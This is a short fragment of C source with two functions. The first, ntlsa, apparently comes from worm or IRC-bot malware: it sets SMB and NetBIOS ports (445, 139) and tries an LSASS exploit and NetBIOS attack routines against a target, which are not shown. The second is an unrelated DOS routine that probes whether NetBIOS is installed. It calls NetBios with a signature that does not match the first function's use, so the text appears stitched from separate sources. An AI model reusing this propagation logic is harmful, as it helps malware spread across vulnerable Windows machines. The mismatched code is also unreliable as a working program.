BOOL ntlsa(EXINFO exinfo)
{
exinfo.port = 445;
BOOL bLSASS = lsass(exinfo);
exinfo.port = 445;
BOOL bNTPASS = NetBios(exinfo);
exinfo.port = 139;
BOOL bNETBIOS = NetBios(exinfo);
return bLSASS || bNTPASS || bNETBIOS ? TRUE : FALSE;
}
BOOL IsNetBiosInstalled(void)
{
unsigned int wNBRetCode;
NCB ncbTest;
DWORD dwHandler;
/* Make sure interrupt vector 5C is not NULL */
dwHandler = (DWORD)(_dos_getvect(NB_INTERRUPT));
if ((dwHandler == 0) || (dwHandler >= 0xF0000000))
return FALSE;
/* Issue an invalid command, expecting a meaningful error code */
memset(&ncbTest, 0, sizeof(NCB));
ncbTest.ncb_command = 0xFF;
wNBRetCode = NetBios(&ncbTest);
switch (wNBRetCode)
{
case NRC_ILLCMD:
/* case NB_ERR_BAD_ADAPTER: (?) */
return TRUE;
default:
/* Return codes 0x40 to 0x4F mean "Unusual network condition"
0x50 to 0xFE mean "Adapter malfunction"
These mean NetBIOS is there */
if ((wNBRetCode >= 0x40) && (wNBRetCode <= 0xFE))
return TRUE;
else
return FALSE;
}
}
